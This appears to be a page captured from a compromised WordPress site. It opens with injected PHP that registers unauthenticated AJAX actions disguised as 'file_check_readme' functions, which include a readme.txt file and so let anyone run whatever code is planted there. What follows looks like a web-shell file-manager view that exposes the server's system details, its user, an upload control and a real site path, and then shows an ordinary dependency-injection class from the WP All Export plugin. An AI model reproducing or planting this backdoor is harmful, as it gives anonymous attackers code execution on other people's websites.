if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/wp-all-export/src/Di/WpaeDi.php
<?php

namespace Wpae\Di;


class WpaeDi
{
    private $config;

    private $cache;

    private $services;

    public function __construct($config)
    {

        $this->config = $config;

        $this->services = [
            'c' => [
                'value' => 10
            ],
            'a' => [
                'class' => '\Wpae\ClassA',
                'arguments' => [
                    '@a',
                    '@b'
                ]
            ],
            'b' => [
                'class' => '\Wpae\ClassB',
                'arguments' => [
                    '@a',
                    '%c'
                ]
            ]
        ];

    }

    public function get($name) {
        if(isset($this->cache[$name])) {
            return $this->cache[$name];
        }
        if(isset($this->services[$name])) {
            $arguments = [];
            if(count($this->services[$name]['arguments'])){
                foreach($this->services[$name]['arguments'] as $argument) {
                    $arguments[] = $this->get($argument);
                }
            } else {
                $serviceClass = $this->services[$name]['class'];
                $this->cache[$name] = new $serviceClass();
                return $this->cache[$name];
            }
            $r = new \ReflectionClass($this->services[$name]['class']);
            $this->cache[$name] = $r->newInstanceArgs($arguments);
        }
        return $this->cache[$name];
    }
}